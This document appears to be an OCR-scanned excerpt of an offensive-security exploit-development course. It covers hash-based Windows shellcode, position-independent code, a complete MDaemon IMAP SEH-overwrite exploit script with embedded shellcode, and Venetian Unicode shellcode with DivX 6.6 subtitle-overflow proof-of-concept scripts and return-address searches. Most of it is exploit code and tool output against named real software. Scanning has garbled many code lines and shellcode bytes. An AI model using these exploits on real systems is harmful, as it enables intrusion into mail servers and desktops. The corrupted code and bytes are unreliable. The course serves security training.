[ebx + ecx * 4]

ebp

sgax

;Zero ecx
+Ex1it Reason

W“+ = Lo

Save all registers wtyr"fb’m
Take the base address of Eessml3? and
put it in ebp

Offset to PE Signature VMR

Export table relative offset

Export table VMA

Number of names

Names table relative offset

Names table VMA

Jump to the end if ecx is O
Decrement our names counter
Store the relative offset of the name
Set esi to the VMA of the current name

Zero eax
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cdg ; Zero edx
cld ;7 Clear direction

compute hash again:

lodsb ; Load the next byte from esi into al

test al, al s Test ourselves.

jz compute hash finished s If the ZF is set,we've hit the null term
ror edx, 0dh ;7 Rotate edx 13 bits to the right

add edx, eax ; Add the new byte to the accumulator

jmp compute hash again ; Next iteration

compute hash finished:
find function compare:
cmp edx, [esp + 28h] Compare the computed hash with the
requested hash
jnz  find function loop Neo match, try the next one.
|OV ebx, [edi + 24h] ; Ordinals table relative offset
add ebx, ebp ; Ordinals table VMA
mov ¢x, [ebx + 2 * eax] Extrapolate the function's ordinal
mov ebx, [edi + 1ch] Address table relative offset
add ebx, ebp Address table VMA
mov eax, [ebx + 4 * ecx] Extract the relative function offset
s from its ordinal
Function VMA
Overwrite stack wersion of eax
from pushad

malin

e e wa e

add eax, ebp
mov {esp + 1lch], eax

e e me

find function finished:
popad i Restore all registers

et ; Return
end start

END

MessageBox Shellcode ASM code

There are a couple of new things in the above shellcode to note:

* We loaded user32.dllin memory by pushing its name on the stack and then invoking
LoadLibraryA;

* We pushed on to the stack all the MessageBox arguments before calling the function itself. The
MessageBoxA function has the following prototype:

int MessageBox|( HWND hWnd, // Owner Window

LECTSTR lpText, // Message

LECTSTR lpCaption, // Caption

UINT uType // Behaviour (default: 0Ok)
)z
MessageBox Prototype
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1) Compile the above ASM code and follow the shellcode through the debugger.
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Our shellcode seems ok, but there’s a problem that you might have noticed, we have some null bytes in
the ASM code due to the “call find_function” opcodes (E8 XX000000). To avoid the null bytes, we are
going to use a technique which allows us to write a piece of code that doesn’t care about where it will

be loaded. The ASM code will be position independent in order to be able to be injected anywhere in
memory.

The technique exploits the fact that a call to a function located in a lower address doesn’t contain null
bytes and moreover it pushes on to the stack the address ahead of the call instruction itself. A “pop
reg32” will then fetch an absolute address that will be used as a “base address” in the shellcode.

OllyDbg - MessageBoxA.exe - - [CPU - main thread, module
E(i} File VYiew Debug 3 Plugins Options Window Help

f_J Ox] wlnf i+ g ) =1 L]E|M]

-’?'VEB 8@ ?JHP $HORT ﬂe'ssageﬁ?- abd4ning2

515 ! > B3EC &8 | SUB ESP, 68

it #4511 . BBEC | MOU EBF,ESF

80401087 | . ES S3000000  CALL f‘fi?“SSElQEB B848165F

a1 aaCig . 68 SE4EGEEC FHHH ELBE4ES
> PUSH EDI
. EQ Cognaa60 CALL MessageB. 88481670

Figure 33: NULL bytes in shellcode

find function shorten:

jmp find function shorten bnc
find function ret:

pop esi

sub esi, 0Oxxh
find function:

[...] 7 Oxxh bytes length
find function shorten bnc:

call find function ret

Position Independent Code

In the above code the ES/ register will contain a find_function absolute address that can then be used in
following calls within the shellcode.
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Below we can see how this follows the
technique:

modified version of MessageBoxA in which we applied the PIC

. 386
.model flat, stdcall
assume fs:flat

.data
. code
start:
jmp entry
entry:
sub esp, 60h
mowv ebp, esp
find kernel32:
XOr eax, eax
mov eax, fs:[eax+30h]
mov eax, [eax+0ch]
‘mov esi, [eax+lch]
lodsd
mov edi, [eax+0Bh]

find function shorten:

jmp find function shorten bnc
find_funation_ret:

Pop esi

sub esi, 050h

jmp resolve symbols kernel32

find function:

pushad

mov ebp, edi

mov eax, [ebp + 3ch]

mov edi, [ebp + eax + 78h]
add edi, ebp

mov ecx, [edi + 18h]

mnowv ebx, [edi + 20h]

add ebx, ebp

find function loop:
Jecxz find function finished

dec ecx
mowv esi, [ebx + eocx * 4]
add esi, ebp
compute hash:
Xor eax, eax
cdg
cld
compute hash again:
lodsb
test al, al
iz compute hash finished
ror edx, 0Odh
add edx, eax
Jmp compute hash again

; enable 32bit programming features

flat medel programming/stdcall convention{9)

start data section

start code section

Save all registers
Take the base address of kernel32 and

put it in ebp

Offset to PE Signature VMA
Export table relative offset
Export table VMR

NHumber of names

Names table relative offset
Names table VMA

Jump to the end if ecx is 0

Decrement our names counter

Store the relative offset of the name
Set esi to the VMA of the current name

Zero eax
Zero edzx
Clear direction

Load the next byte from esi into al
Test ourselves.

If the ZF is set,we'we hit the null
Rotate edx 13 bits to the right

Add the new byte to the accumulator
MNext iteration

term
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[ compute hash finished:
find function compare:
cmp edx, [esp + Z2Bh]

qnz find function loop
mov ebx, [edi + 24h]

add ebx, ebp

mov cx, [ebx + 2 * ecx]
mov ebx, [edi + 1lch]

add ebx, ebp

mov eax, [ebx + 4 * ecx]

add eax, ebp
mov [asp + 1ch], eax

find function finished:
popad
ret

find function shorten bnc:
call find function ret

resolve symbols kernel32:
; Resolve LoadLibraryh
push OecOedeBeh
push edi
call ‘esi
mov {ebp + 10h}, eax

; Resolve ExitProcess
push 73e2dB87eh

push edi
call esi
mov febp + 1ch], eax

resolve symbols user32:
sLoad user32.dll in memory
Xor eax, eax
mov ax, 3233h
push eax
push 72657375h
push esp
call dword ptr [ebp + 10n]
mov edi, eax

; Resolve MessageBoxlh
push ObcddaZaBh

push edi

call esi

mov [ebp + 1Bh], eax

exec shellcode:
;i Call "pwnd" MessageBoxA
xor eax, eax
push eax
push 646e7770h
push esp
pop ecx

i Compare the computed hash with the
; requested hash

; No match, try the next one.

; Ordinals table relative offset

: Ordinals table VMA

i Extrapolate the function's ordinal
i Address table relative offset

; Bddress table VMA

; Extract the relative function offset
; from its ordinal

; Function VMA

; Overwrite stack version of eax

¢ from pushad

;{ Restore all registers
; Return

:edi -> kernel32.dll base

;LoadLibraryA hash

;store function addy on stack

;ExitProcess hash

;store function addy on stack

iPointer to 'user3a?
;Call LoadlLibraryh
;jedi => user32.411 base

istore function addy on stack

spwnd string

;pwnd string

;pointer to pwnd
istore pointer in ecx

; Push MessageBox@L args in reverse order

push eax
push ecx
push ecx
push eax
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i Call MessageBoxA
call dword ptr [ebp + 18h]

i Call ExitProcess
XOor ECX,; ecx :Zero ecx
push ecx ;Exit Reason
call dword ptr [ebp + 1lch]

end start

END

MessageBox Shellcode (PIC Version)

1) Compile the above code and follow the execution flow to fully understand the PIC technique.
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exploit

It's time to test our custom shellcode with a real exploit! We'll use a Mdaemon IMAP Exploit for a
vulnerability we discovered in 2008. The vulnerability is a "post authentication” and the exploit uses the
SEH Overwrite technique to gain code execution.

The following code was fetched from milwOrm - in which we replaced the existing bind shell payload
with our MessageBoxA custom shellcode®:

#!/usr/bin/python

from socket import *
from optparse import OptionParser
import sys, time

print "[**%*i*k\k***#***i***k*****kki*******i*i*i*&******k**t**t******ii******]“
prins Mix *qm
pring "* MDAEMON (POST AUTH) REMCTE ROOT IMAP FETCH COMMAND EXPLOIT rn
pring "ir DISCOVERED AND CODED T
primt "[* by *m
prime i MATTEQ MEMELLT 218
print "[* (ryujin) *]“
primt " wWww.bedmind. com - www.gray-world.net H
print Tix *n
prlnt "‘{*****-A—kft*iiriz-k*****kk*t*********i*k*********i—*it********kk%i****ﬁ*\&**Jr]l‘
usage = "%prog -H TARGET HOST =P TARGET PORT -1 USER -p PASSWD®

parser = OptionParser (usage=usage)

parser.add option("-H", "—~target host", type="string",

action="store", dest="HOST",
help="Target Host")

parser.add option{"-P", "--target port", type="int",
action="store", dest="PORT",
help="Target Port")

parser.add option{"-1", "--login-user", type="string",
action="store", dest="USER",
help="User login")

parser.add option("-p", "--login-password", type="string",
action="store", dest="PASSWD",
help="User password")

(options, args) = parser.parse args{;
HOST = options.HOST

PORT = options.PORT

USER = options.USER

PASSWD = options.PASSWD

if not (HOST and PORT and USER and PLSSWD) :
parser.print help()
sys.exit ()

# windows/ MESSAGEBOX SHELLCODE - 185 bytes

shellcode = (
"\x83\xEC\xGO\xSB\xEC\xBS\xCO\x64\xBB\x40\x30\xSB\x40\xoc\xSB\xTO\xlc\th"
"\xSB\x78\x08\xEB\x51\x5E\x93\xEE\xSO\xEB\x5U\xSD\xBB\xE!\xSB\x45\x3c\xBB"
"\x7C\%28\x78\x03\xFD\x8B\x4F\x18\x8B\x5F\x20\x03\xDD\xE3\x33\x4 9\x8B\x34"
"\xBB\xOS\xF5\x33\xCO\xQQ\xEC\xAC\xB4\xCD\xT&\xOT\xCl\xCA\xOD\xDB\xDO\xEB"
"\xF4\x33\x54\x24\x28\x?5\xE2\xBB\x5F\x24\x03\xDD\x6E\xBB\xGC\x4B\xBB\x5F"

29htt;:;:,/f\a'\rwm.ﬂ.mjIwOrm,cc:r'mfr-:xpFo]ts,,!S248
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"\xlc\x03\xDD\xEB\x04\xSB\xO3\xC5\x89\x44\x24\xlC\xSl\xCB\xES\xAA\xFF\xFF“
"\xFF\x68 \xBE\x&E\xDE\xmc\xsv\xrr\xn6\x89\x45\xlO\xsa\xTE\xDS\xzz\x?a\xST"
"\xFF\xDG\xS9\x45\xlC\x33\xCO\x66\xBB\x33\x32\x50\x68\x75\x73\x65\x72\x54"
"\xFF\xS5\xlO\xSB\xFB\xSS\th\xAZ\xiD\xBC\xST\fo\xDS\xBQ\x45\x18\x33\x€0"
“\xSO\xGS\x?D\xTT\x6E\x64\x54\x59\x50\x51\xSl\xSO\xEF\xBS\xlB\x33\xc9\x51"
"\xFF\x55\x1C\x90\x90" )

8 = socket (AF INET, SOCK STREAM)

print " [+] Connecting to imap server..."

s.connect ( (HOST, PORT))

print s.recv (1024}

prant * [+] Togging in...”

s.send ("0001 LOGIN %s %s\r\n" % (USER, PASSWD))

print s.recv(1024)

print " [+] Selecting Inbox Folder.._ ."

5.5end ("0002 SELECT Inboz\r\n"}

print s.recwv(1024)

print " [+] We need at least one message in Inbox, appending one..."

s.send('0003 APPEND Inbox {1}\r\n')

print s.recv(1024)

print " [+] What would you like for dinner? SPACHETTI AND PWNSAUCE?"

s.send ('SPAGHETTI AND PWNSRUCE\r\n')

print s.recv(1024)

print " [+] DINNER'S READY: Sending Evil Buffer..."

# Seh overwrite at 532 Bytes

# pop edi; pop ebp; ret; From mdaemon/HashCash.dll

EVIL = "A"*528 + "\xEB\x06\x90\x90" + "\xBb\xll\xdc\x64" + "\x00"*8 + \
shellcode + 'C'#¥35

s.send("A654 FETCH 2:4 (FLAGS BODY[" 4+ EVIL + " (DATE FROM}]1)\rin")

g.cloge()

print " [+] DONE! Check your shell on $s:%d" % (HOST, 4444)

MDaemon imap exploit, MessageBox shellcode
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Figure 34: MDaemon styled "pwnd" MessageBox

1) Follow the exploit by attaching the imap process from within the debugger, don't forget to set a
breakpoint on the POP POP RET address; you should get a nice "pwnd" Mdaemon styled message box.

This module discussed the theory and practce behind creating custom shellcode which can be used
universially on various Windows Platforms. Although smaller and simpler shellcode can be achieved by

statically calling the required functions, finding these function addresses dynamically is the only way to
go in Windows Vista, due to ASLR.
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Module 0x04 Venetian Shellcode

* Understanding Unicode Overflows

* Understanding and using Venetian Shellcode in limited character set environments
* Exploiting the DIVX 6.6 vulnerability using Venetian Shellcode

Overview

“Unicode is a computing industry standard allowing computers to consistently represent and
manipulate text expressed in most of the world’s writing systems”m. The Unicode character set uses
sixteen bits per character rather than 8 bits like ASCII, allowing for 65,536 unique characters. This means
that if an operating system uses Unicode, it has to be coded only once and only internationalization
settings need to be changed (character set and language).

The problem in exploiting buffer overflows occurring in Unicode strings, is that “standard” shellcode
sent to the vulnerable application is “modified” before being executed because of the Unicode
conversion applied to the input buffer. The consequence is that standard shellcode can’t be executed in
these situations resulting in a crash. “The Venetian exploit” paper written by Chris Anley in 2002%" was
the first public proof that buffer overflows which occur in Unicode strings can be exploited. The paper
introduces a method for creating shellcode using only UTF-16 friendly opcodes, that is, with every

second byte being a NULL. In this module we will study the Venetian method and apply it to a buffer
overflow which affects a well known multimedia player.

30ht‘cp:;",f\c_ln.v\.rik'|peclia.cr,_a_r;/’w\.rikl,z‘Unicode

31Creating Arbitrary Shell Code in Unicode Expanded Strings, January 2002 (Chris Anley)
http://www.ngssoftware.com/papers/unicodebo.pdf
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Under Windows, two functions are responsible for ASCIl to Unicode conversion and vice versa,
respectively: MultiByteToWideChar and WideCharToMultiByte™.

intMultiByteToWideChar (

UINT CodePage, <=== PAGE

DWORD dwFlags,

LPCSTE lpMultiByteStr, <--= SOURCE STRING

intcbMultiByte,

LPWSTR lpWideCharStr, <--- DESTINATION STRING
intcchWideChar

i

intWideCharToMultiByte (

UINT CodePage, <——— PRGE

DWCRD dwFlags,

LPCWSTR lpWideCharStr, <——— BQURCE STRING
intcchWideChar,

LESTR lpMultiByteStr, <--- DESTINATION STRING
intcbMultiByte,

LPCSTR lpDefaultChar,
LPBOOL lpUsedDefaultChar
Vi

Win32 API unicode coversion functions

The first parameter passed to both the above functions is the code page which is very important. The
code page describes the variations in the character-set to be applied to 8-bit/16-bit value, on the base of
this parameter the original value may turn into completely different 16-bit/8-bit values. The code page
used in the conversions can have a big impact on our shellcode in Unicode-based exploits. However, in
most of the cases, ASCIl characters are generally converted to their wide-character versions simply
padding them with a NULL byte (0x41 -> 0x4100); luckily, this is also the case of the application that we
are going to exploit in this module.

32, . :
Unicode characters are often referred to as wide characters.
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As explained in [31], the “Venetian” technique consists of using two separated payloads - the first
payload, that is half of the final one we want to execute, is used as a “solid” base in which bytes are
interleaved with NULL gaps because of the Unicode conversion. The second payload is a shellcode writer
completely written with a set of instructions that are Unicode in nature. Once the execution passes to
the shellcode writer, it starts to fill the null gaps replacing them, byte by byte, with the second half of
the final shellcode in order to obtain our complete payload. The name “Venetian Blinds” comes from the

fact that the Unicode buffer can be imagined to be somewhat similar to a Venetian blind closed by the
shellcode writer.

The key points of this method are:
* There must be at least one register pointing to our Unicode buffer;

* XCHG opcodes and ADD / SUB operations with multiples of 256 bytes can be safely used to
further adjust the register that will be used for writing arbitrary bytes filling zeroes;

* We must modify memory, using instructions that contain alternating zeroes (Unicode
friendly opcodes);

* We must insert "nop" equivalent opcodes between instructions in order to make sure that
our code is aligned correctly on instruction boundaries.

Anley choose to use instructions like the following in order to "realign" shellcode:

00 6D 00:add byte ptr [ebp],ch
00 6E O0:add byte ptr [esi],ch
00 6F 00:add byte ptr [edi],ch
00 70 00:add byte ptr [eax],dh
00 71 00:add byte ptr [ecxz],dh
00 72 00:add byte ptr [edx],dh
00 73 00:add byte ptr [ebx],dh

Nop instructions that can be used to align shellcode

The choice obviously depends on which of our registers points to a writable memory area which won’t
bring execution problems while being overwritten. Assuming that there is a at least one register that

points to our Unicode buffer the shellcode writer “core” will be composed of the following instruction
set:
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80
00
40
00
40
0o

0C 75:add byte ptr [eax],75h
6D 00:add byte ptr [ebp],ch

rinc eax

6D 00:add byte ptr [ebpl,ch

:inc eax

6D 00:add byte ptr [ebpl,ch

Shellcode Writer Instructions Set

This will end up with arbitrary bytes filling the zeroes inside our shellcode. Please be sure to study texts
[31] and [33] carefully before moving on.

1)

2)
3)
4)
5)

6)

Exercise

Manually build a “Venetian” payload writer in order to obtain the following ASM instructions:

OR DX, 0x0FFF
INC EDX
PUSH EDX
PUSH 0x2

You can use the metasploit nasm shell to discover the relative opcodes.

Open venetian.exe from OllyDbg and set a breakpoint at address 0x00401049 (JMP EAX)

Press FS to reach your breakpoint and then F7 to step in to the first NOP instruction

Scroll down in the disassembly window and you will see that venetian.exe already has the part
of the payload that need to be completed by your venetian writer

Binary paste your “Venetian” payload writer in the disassembly window starting at the
beginning of the NOPs instructions

Follow the “Venetian” writer execution step by step and check that is actually “creating” your
shellcode

33http:,,’,-’\..\.ﬂ\.i\.rw‘blackhat.cornf';:aresentations,f'win~usa~04/bh-win—04~f:‘c.ndf
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We will exploit a buffer overflow vulnerability found in DivX Player in 2008 by securfrog. The overflow
occurs when the DivX Player parses a subtitle file with an overly long subtitle DIV, We will use the
Venetian Blinds Method by using the original POC* and obtain code execution. The first POC we are

going to analyze is a modified version of the one supplied by securfrog in which we increase the buffer
size in order to overwrite the Structure Exception Handler to own EIP.

#1/usr/bin/python

# DivXPOCOLl.py

# AWE - Offensive Security

# DivK 6.6 SEH SRT Overflow - Unicode Shellcode Creation POCOL
# file = name of avi wvideo file

file = "infidel.srt"

stub = "\x41" * 3000000

f = open{file, 'w")

wWrite("1 \n")

~Write("00:00:01,001 --> 00:00:02,001\n"}
-write(stub)

.close()

print "SRT has been created - ph33r \n";

o Fn Eh o

POCO1 Source Code

Running POCO1, the application throws an exception. As the SEH is completely overwritten by our
buffer, we can control the execution flow. Nevertheless SEH is not overwritten with our usual
0x41414141 but with 0x41004100, indicating that our buffer has been converted to Unicode before

smashing the stack. If you are not familiar with SEH exploitation technique, please read Text [36]
carefully before proceeding.

34http://www_securitvfocus.com;’bid,’28799

3shttp:;’,e"w.r\a-\,'w.miiw[}rm,cr::mf‘exp[t:rits,J’SﬂJcSZ

36http:,f')fww\.'\.nngssc)ftware.com,fpa;:;ers,a’defea\ting-WZkE’:—stack-protectiom:ncif (Litchfield 2003)
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EESEEEER]
BE4186a41 O .BB410841

Bo4 16041 a, B4 1 B6d 1

@ad1aE4 1

A i 60410041 Divd_Pla. 8410041

LTRSS @8410841 Divi_Fla. 58418041
BOSIFEZ4 BB416B41 Pointer to nest SEH record
88410841 SE handler Lk
26410841 Divi_Pla. 08416041

20410841 Divi_Fla, 00418041

88410841 Divy_Fla.0041004]

Ba418641 Divi_Fla, 08410041

B@410841 Divi _Pla. 084100841

804106841 Div¥_Fla. 86418041
0418041 Divd _Fla. 00410041

BA416041 Divi_Pla. 88416041

BR410841 Dive _Fla. 884160041

88410641 Divi_Pla. 20418041 ,_,I
88418641 Oivi_Fla, 08418041

00410841 Div¥_FPla. 804108641
30410041 ivi Fl3.060416041

LBR41a04]

Figure 35: SEH overwritten by our evil buffer

Exercise

1) Repeat the required steps in order to fully overwrite the Structure Exception Handler.
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xecution Flow

As usually happens when dealing with Structure Exception Handler overwrites, we need to find a POP
POP RET address to "install" our own Exception Handler and be able to redirect the execution flow into
our controlled buffer. The POP POP RET trick works because in usual situations, once the exception is
thrown, there's a pointer at ESP+0x8 that leads inside our controlled buffer (more precisely it leads to
the pointer at the next SEH Record just before the SEH is overwritten.)

BO41 Pointer to nent @l
B =054 SE handlier

gon leeal Divk _Fla.oed410041
TG 1peel D Fla. 22410041
RO 1 B84 Divx Pla, 20416041

Lo ggHE
SUESEEDE
BOESFESS

Address

Show ASCIT dump

Shove UNICOOE dump

: Lack stack

QOSIEEL
ANEIFEL
GDESEEF  Copy to dpboard ChrieC
GUSIEEE :
2B4008: Modify
ar.lg%'zjgf Edit CUrieE
Sl
‘:'i.‘f»:«;f;é; Push DWORL
B popoworo
Eg%{,%; Search for address
ff!ﬁr.!gn:éa: Search for binary string Cirisd 4
ﬂl’l'ﬁ'?*i%ﬁ{
GAGG 3 o .
O G0 to E5F
aul 1 3 GoloERP

Go ko expression
Foallow in Dump
Follow in Stack

Appear ance

B 100
Gl 1ensd
god 180es1
B0418841
0B4 18641
G041 0e4 |
00 | 3Rt
Gaq a4t

0 1 |
8{3*1 15

Figure 36: ESP+0x8 leads to Pointer to next SEH

99

GUd1004]

D _Pla.
Give Pla.
Dive Fla.
Dwr_Pla.
1 DK Pla.

Ea410041
ea410041
Bad 1004
e L ond |
Bad 10041

Dive_Pla. 0410041
Ok Fla, 08410041
Civa_Pla, 2310041

i i}ivx__Pla.
BivE FPla.

DW}F’t@
Oive FPla.
ﬁi”ﬂ Fla.

cas1004]
410041
B4 10041
Bad 100d |
gadiand ]

Divi Pla, 80410041
[ _Pla.oaa1094]
Divea_Pla. 83410041

BL"F{_P[:
F_ls

A0 1 Wi}&; 1

Go4 10041
0e4 10841

LBad 1004 |

podlaad ]
st g |

.é&%mﬂu

{s‘H L34 1
358410041
@84 10041
padiondy
0 1 00d |

LM LD04 ]

3. 24 10041
5. 08410041

L e 10041
LERE L0041

Sued Y WA
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Nevertheless, because our buffer is going to be converted to Unicode, we need to find a Unicode
friendly POP POP RET address. ( eg. 0x41004200). Let's find the right offset to overwrite SEH using a
unique pattern as a part of our buffer and search for a suitable POP POP RET address:

#!/usr/bin/python

# DivXPOCOZ2.py

# AWE - Offensive Security

# DivX 6.6 SEH SRT Overflow — Unicode Shellcode Creatisn POCO1

# file = name of avi wvideo file
file = "infidel sit"

# 1500 Bytes pattern

pattern = |
"RalhalRa2Rha3RadAa5RabhaTRhabhadrb0RblAb2Ab3AbaBb5Ab6ALTADBADOACORCIAC2ACIACIRCE"”
"ACBACTACBACIAdUAG] AdZAd3Ad4Ad5Ad6AdTAIBAd9Re0Rel Re2?he3RAcdRheb5Rhe6helAeBRe OAFOAEL"
"AfZ2AL3ATARTOATOATTALBAL9Ag0Agl Ag2Rg3AgLAgSAg6RAgTAGBAGIANORN] Ah2AN3AN4AN5AN6ANT"
"AhaﬂhgﬂiOnilaizﬂi3A14AiSBiGAi7RiBAiQAjGAlej2Aj3Aj4Aj5nj63j7aj8Aj9AkDAk1&k2Ak3"
"Ak4AkKSRKERKTAKBAKORI0A1I 1A 2RI 3A14A15A] 641 7A1 BA1 9AMOEM] AmZAm3AmA AmS AmeAm T AmE AmI"
"AnOAn1AnEAnBAHQRnSAnGAn?ABSAnQAOOA01A02A03AD4R05ADSAOTAO83093p0ﬁplﬂp2hp3394&p5“
"RApbApTApSAPIAQOAGl AgZA3Aq4RgEAgEAGTAGBAGOATOAY 1 AT 2Ar 3ATAATSAT 6AT TArBAT OAS0AS1"
"AsZAs3Rs4As5AS6AsTASBASONTOAt IRE2AL 3AL4AE5At ARt TALBAL OAu0AUl Au2Au 3B dBuSAu6AnT"
"BuBAUSAVOAY 1AVZ AV 3Rv A AvSAVELV T AVE AV IAW0AW] AW2AW IAWAAWS AW AW TAWEAW IR 0A% 1 Ax 2R 3"
"AxdRxSRy6ANTAXBRXORyORy1 Ay 2Ry 3Ry 4 AySAyARY TAYARYORZ0Az 1 Az2R 3Rz 4AZ5R2 6A 2 TA2BA 20"
"BalBalBaZBa3BadBabBatBa7BaBBa9Bb0Bb1 BEb2Bb3Bb4Bh5Bb6Rh7BHEBhIBcOBCcl Be2Be3Bc4BaS"
"BcoBcTBCcBBCIBADBAl BAZBd3Bd4Bd5Bd6Bd7BABEd9Be0Bel Be2Be3BedBe5Be6Be]BeBRBe 9BFOREL"
"BfZBI3Bf4BRICBEGBETBIBREIBgOBg1 Bg2By3Bg4Bg5Bg6Eg7Bg8Bg9Rh0Bh1 Bh2Bh3Bh4Bh5Bh6Bh 7"
"BhBBhQBiOBilBiZBiSBi&BiSBiEBi?BiBBiQBjGleﬁjZBj3Bj4Bj5BjGBj7Bj8Bj9BkOBkIBk2Bk3“
"Bk4Bk5Bk6BkTBkERkOB10B11R12B13B14B1 581681 7R1 8B1 9Bn0Bn] Bm2 Bm3Bm4 Bri5 Bm A Bm7Bme Bmo™
"BnOBnlBn2Bn3BndBn5En6Bn7Bn8Bn9Bo0BolBo2B03B04Bo5Bo6BoTB08B09BpOBpl Ep2Bp3Bp4Bps”
"Bp6Bp?Bp8BpQBqOBqlﬁqzBq3Bq4Bq5Bq6Bq?BqBBqQBrDBr1Br2BrEBrQBrSBrSBr?BrBBrQBBOle“
"BS2BSBBS4BS5B$6BS?BsBBsQBtOBtlBt2BtBBt4Bt5Btth?BtSBt98u0Eu18u2Bu3BuQBuSBuGBu?"
"BuBBuSBEvOBv]1Bv2Bv3Bv4BvS5BvERVTBVBEVIBwIEW] Bw2Bw3Bwd BuSBw6Bw T BwE BwOBx 0Bx1Bx2Bx3"
"Bx4Bx5Bx6Bx7BxBRx9" )

stub = "\xd41"™ * {3000000-1500)

f = open(file, 'w')

f.write (™1 \n")

f.write("00:00:01,001 --> 00:00:02,001\n")
f.write(pattern + stub)

f.close()

print "SRT has been created - ph33r \n";

POCO2 Source Code
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agadzinsEe Dol Fla, 00420026 e
pes7eRes ASCIT ™ in DOS mode. JJ@5"
s ot s i b Elw}’ Fla. 08500042
aRd42e038 DiVL_F s, 88420038
BOZ06E
AE9ea42 ASCII "orGroupEEHHHEZ ™
Aand2aa30 Divd Pla. 80420020
BE3 19869
HEe9Ea42 ASCII ”apGruupﬁ@HHH@“"
BA420832 Divd_Pla. BB420032
i BO33GAE9 Pointer to next ;EH record
BOS9FEZS  BBs99a42 SE handler
BOSSFEZC  @B420034 Pla.08426684
(aluRiats 1y TR i-' g5 Lo
5669&342 S GrGrDupﬁ@
Bad4z20626 0w Pla. 084200326
B :?9863 ASCIT "in DOS mode.JJES"™
B0690842 ASCHT "orGroup@EHHHEZ"
aa42a838 0Wi_Fla. 00428032

ARAERS A

Fodd tbdi

Figure 37: Unique pattern overwriting SEH

SEH is overwritten at 1032 Bytes:

P>> "hxd2\x34\x69\x42"
1 BéiBl
>>>

bt ~ § /pentest/exploits/framework3/tools/pattern offset.rb BidB 1500
1032

POCO2 SEH Offset

It's time to find some good POP POP RET addresses, so let's see what msfpescan suggests:

bt VENETIAN # /pentest/exploits/framework3/msfpescan -p DivX\ Player.exe

[DivXPlaver.exe]

0x00444a2f pop edi; pop ecx; ret
020044£0ae pop edi; pop ebx;retn Ox04ia
0x004c5b53 pop edx; pop ebx;retn Ox4B8cl
Dx006acllc pop ecx; pop ecx; ret
0x006b05cl pop eax; pop edx; ret
0x007077%a pop esi; pop eax; ret
0x00752a4% pop edi:; pop esi;retn 0xb541

POP POP RET Search

Odd! After looking in OllyDbg at those addresses - we don't have POP POP RET opcodes! While opening
(not attaching) the executable with the debugger, OllyDbg suggests that the DivX Player executable
seems to be "packed™’ - this means compressed and probably encrypted as well. Certainly at this point,
we won't be able to use msfpescan directly on the executable.

http://www.woodmann.com/crackz/Packers.htm
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Compressed code?

P . Quickstatistical test of module ‘Divie_Pla’ reports that its code section is ether compressed, sncrypted, or contains large amount of embedded data, Results of code
bt analysis can be very unteliable or simply wrong, Do you wart to continue analysis?

Figure 38: Ollydbg showing possibly packed executbale

The "CFF Explorer" tool from the ExplorerSuite® confirms our theory: it seems the executable was
packed with PECompact 2.0. The first option we have is to try a search inside DivXPlayer.exe with
OllyDbg while the executable is running; this way is slow though, because we need to filter only suitable
"POP POP RET Unicode addresses"*. Looks like it's a memdump job! As previously shown in this course
memdump, together with msfpescan would be a more complete and fast option, so let's try that out:

| § Dos Heads:
8 & Nt Heades
% >—- % File Header

L£3 4 Optonal Header MG47615 bytec) __/

“— & Data Diectonies [<] PE Size 1.57 MB (1647615 bytes)

—— & Sechon Header: x|

| Created Saturday 20 October 2007, 02.54 46

3 1 Export Dwectosy

i P Modified Saturday 20 October 2007, 02.54.46

— J lesont Dipeciony oy it

. Retouce Drecioy Acgessed Wednesday D6 May 2009, 10.52.24

—— '\ Addiess Convester MDS D33ITFS2TSIFAZ 74967 1 SOFCC041 81048

— 1 Dependency Walke: AL 7R I DOF RS 4F ARDEF AASFF | F4ASTSFA4ASER

Figure 39: CFF Explorer showing packer version

3E‘htt;:_::j,/\a\.‘w\.r\.'\.r.ﬁ‘ccore.cor'n,:’exsuite.;:thp

* A nice tool that can be used from OllyDbg for Unicode friendly return addresses searches is OllyUni plugin
(http://www.phenoelit-us.org/win/index.html) shown in Figure 40 and Figure 41
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OllyDbg - DivX Player.exe - [CPU - thread D00O0ADL, module ntdil]
Fde View Debug Plugine Options Windosw Help

Backip
Copy
Biniary
Assemble

PCIBESER o
T Saarch for

Find references to

Wiew

Copy to executable
Anabysis

| Rddress |F
etfiow Return Address

AppEarance

_i@sgg_;jm s949 304 o) o) wfEmiwinjc|/|x|s/s|

SS:LESR]
SS:LESPl
5ot [ESP+8]

. Search RET with ESP adjustroent

Load address data from Ffile and compare
Save address data to file

Figure 40: OllyUni plugin can search for unicode friendly return addresses

3

Figure 41: OllyUni showing unicode friendly return addresses search results
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C:\Documents and Settingsh\admin\Desktop>memdump.exe 1344 divxdump
[*] Creating dump directory...divzdump

[*] Attaching to 1344...

[*] Dumping segments...

[*] Dump completed successfully, 214 segments.

bt VENETIAN # /pentest/exploits/framework3/msfpescan -p -M divxdump/ | grep "0x00[0-9a-f][0-9a-
£]00[0-9a~f] [0-9a-f]"

0x00c0007e pop esi; pop ebx;retn 0xz0004
0x00cl002c pop ebx; pop ecx; ret
0z00b200ad pop ebp; pop ecx; ret
0x00b3006a pop esi; pop ebx; ret
0x00b30086 pop esi; pop ebx; ret
0x00b300bl pop esi; pop ebx; ret
0z00b300d9 pop esi; pop ebx; ret
0x00b4002e pop esi; pop ebx; ret
0x00b4005d pop esi; pop ebx; ret
0x00b400cd pop esi; pop ebx; ret
0x00b500bd pop edi; pop esi; ret
0x00b60012 pop ebp; pop ebx; ret
0x00bB00Sh pop edi; pop esi; ret
0x00b2003d pop ebp; pop ebx; ret
0x00ba0013 pop esi; pop ebx; ret
0z00bal054 pop esi; pop ebx; ret
0x00b200f4 pop esi; pop ebx; ret
0x004500ad pop ebp; pop ebx;retn 0x00lc
0x00480094 pop esi; pop ecx; ret
0x004800aa pop esi; pop ecx; ret
0x00520071 pop edi; pop esi;retn 0x0004
0x00560054 pop esi; pop ecx; ret
0x00560059 pop esi; pop ecx; ret
0x00e50095 pop edi; pop esi; ret
0x007800d3 pop esi; pop ebx;retn 0x0004
0x007800ed pop esi; pop ebx;retn 0x0004
0x007900£9 pop edi; pop esi; ret
0x007c00% pop ebp; pop ecx; ret
0x007c00b0 pop ebx; pop ecx; ret
0x007d00a5 pop esi; pop ecx; ret
0x008100a6 pop ebp; pop ebx:retn 0xz0008
0x00980008 pop ebp; pop edi; ret
0z009c00f4 pop esi; pop edi; ret
0x009d00ce pop esi; pop edi; ret
0x00c5002f pop esi; pop ebx:;retn 0x0008
0x00c50081 pop esi; pop ebx;retn 0x0008
0x00c500ct pop esi; pop ebx:retn 0x0008
